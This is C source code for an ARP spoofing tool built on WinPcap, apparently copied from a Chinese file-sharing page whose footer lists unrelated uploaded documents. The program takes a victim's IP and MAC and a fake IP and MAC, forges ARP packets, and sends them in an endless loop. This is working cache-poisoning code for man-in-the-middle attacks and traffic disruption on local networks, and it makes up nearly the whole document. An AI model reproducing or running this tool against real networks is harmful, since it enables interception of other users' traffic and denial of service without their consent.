#include "arpcap.h"
#define HARDWARE_ADDR "000C296C192B"
int main(int argc,char* argv[])
{
//WinExec("arp.exe -s 192.168.1.1 08-10-17-cc-36-84",SW_SHOW);
//printf("IP:192.168.150.");
//scanf("%d",&Ip);
int i=sizeof(unsigned short);
if(argc!=5)
{
printf("usage:arp victimIP victimMac fakeIP fakeMac\n");
printf("Example:\n");
printf(" 广播:arp 255.255.255.255 FFFFFFFFFFFF 192.168.150.20 000C295FA042\n");
printf(" 单播:arp 192.168.150.21 000C295FA044 192.168.150.20 000C295FA042\n");
return 1;
}
char *dIP=(char *)malloc(sizeof(argv[1]));
dIP=argv[1];
char *dMac=(char *)malloc(sizeof(argv[2]));
dMac=argv[2];
char *sIP=(char *)malloc(sizeof(argv[3]));
sIP=argv[3];
char *sMac=(char *)malloc(sizeof(argv[4]));
sMac=argv[4];
//char cIP;
InitDevice();
InitPacket(dIP,dMac,sIP,sMac);
int size = sizeof(arp);
/*static long slp = 0;*/
printf("启动完毕...\n发送中...\n");
while (1)
{
if (pcap_sendpacket(ahandle,(unsigned char*)&arp,size) != 0)
{
printf("发送失败!\n");
}
Sleep(100);
}
system("pause");
return 1;
}
//初始化设备
void InitDevice()
{
if (pcap_findalldevs(&alldev,errbuf) == -1)
{
printf("获得设备失败!\n%s",errbuf);
exit(0);
}
int i = 0;
for(device=alldev; device; device=device->next) //打印出系统里所有的网卡
{
printf("%d. %s", ++i, device->name);
if (device->description)
printf(" (%s)\n", device->description);
else
printf(" (No description available)\n");
}
if(i==0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return;
}
int inum = 0;
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum); //输入一个你选择的网卡号
if(inum < 1 || inum > i)
{
printf("\nInterface number out of range.\n");
pcap_freealldevs(alldev);
return;
}
for(device=alldev, i=0; i< inum-1 ;device=device->next, i++); //从刚才输入的网卡号找到适当的网卡指针
ahandle = pcap_open_live(device->name,65535,1,1000,errbuf);
if (!ahandle)
{
printf("打开设备失败!\n%s",errbuf);
FreeDevice();
exit(0);
}
}
//结束释放
void FreeDevice()
{
pcap_freealldevs(alldev);
}
//构造数据包
void InitPacket(char *DIP,char *DMac,char *SIP,char *SMac)
{
memset(&arp,0,sizeof(arp));
//WriteHard(&arp.eth.dst_mac[0],DMac);
WriteHard(&arp.eth.src_mac[0],SMac); //WriteHard(&arp.eth.src_mac[0],HARDWARE_ADDR);
arp.eth.eth_t = htons(ETH_ARP);
arp.arp.arp_hdr = htons(ARP_HARDWARE);
arp.arp.arp_pro = htons(ETH_IP);
arp.arp.arp_hln = 6;
arp.arp.arp_pln = 4;
if(strcmp(DMac,"000000000000")==0)
{
WriteHard(&arp.eth.dst_mac[0],"FFFFFFFFFFFF");
arp.arp.arp_opt = htons(ARP_REQUEST);
}
else
{
WriteHard(&arp.eth.dst_mac[0],DMac);
arp.arp.arp_opt = htons(ARP_REPLY);
}
WriteHard(&arp.arp.arp_sha[0],SMac);
char RemoteIP[1024]={0};
//wsprintf(RemoteIP,"192.168.150.%d",Ip);
arp.arp.arp_spa = inet_addr(/*"192.168.1.92"*/SIP);
WriteHard(&arp.arp.arp_tha[0], DMac);
arp.arp.arp_tpa = inet_addr(DIP);
}
//写入MAC地址
void WriteHard(unsigned char *Hard,char* Src)
{
char hchr=0;
char lchr=0;
int j=0;
int rst;
Src = strupr(_strdup(Src));
for (int i=0;i<(int)strlen(Src);(++i)++)
{
lchr = Src[i];
hchr = Src[i+1];
lchr = Hex(lchr);
hchr = Hex(hchr);
rst = lchr * 16 + hchr;
Hard[j] = rst;
j++;
}
}
//十六进制转换
char Hex(char Src)
{
if (Src >= 'A' && Src <= 'Z')
return (Src-55);
else
return (Src-48);
}
humeng068
- 粉丝: 0
- 资源: 1
最新资源
- 市建设工程安全生产标准化管理优良工地申报表.docx
- 特殊建设工程消防验收现场评定(其他建设工程消防验收备案现场检查)监督记录表.docx
- 提前报废老旧营运柴油货车补贴标准、新购营运货车补贴标准表.docx
- 基于鸟鸣声识别的鸟类分类系统项目源代码全套技术资料.zip
- 解析XML文件,使用ElementTree模块,并根据流程图设计合适的数据结构保存解析结果-使用Python ElementTree模块解析XML文件并设计数据结构-含源代码及解释
- 膝关节功能丧失程度评定表.docx
- 外出务工就业交通补助申报表.docx
- 腕关节功能丧失程度评定表.docx
- 现场评定检查表—— 防爆.docx
- 现场评定检查表—— 防火分隔、固定窗.docx
- 现场评定检查表——安全疏散.docx
- 现场评定检查表——建筑类别与耐火等级表.docx
- 现场评定检查表——建筑灭火器.docx
- 现场评定检查表--泡沫灭火系统.docx
- 现场评定检查表——平面布置.docx
- 现场评定检查表——建筑内部装修防火.docx
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈
- 1
- 2
- 3
前往页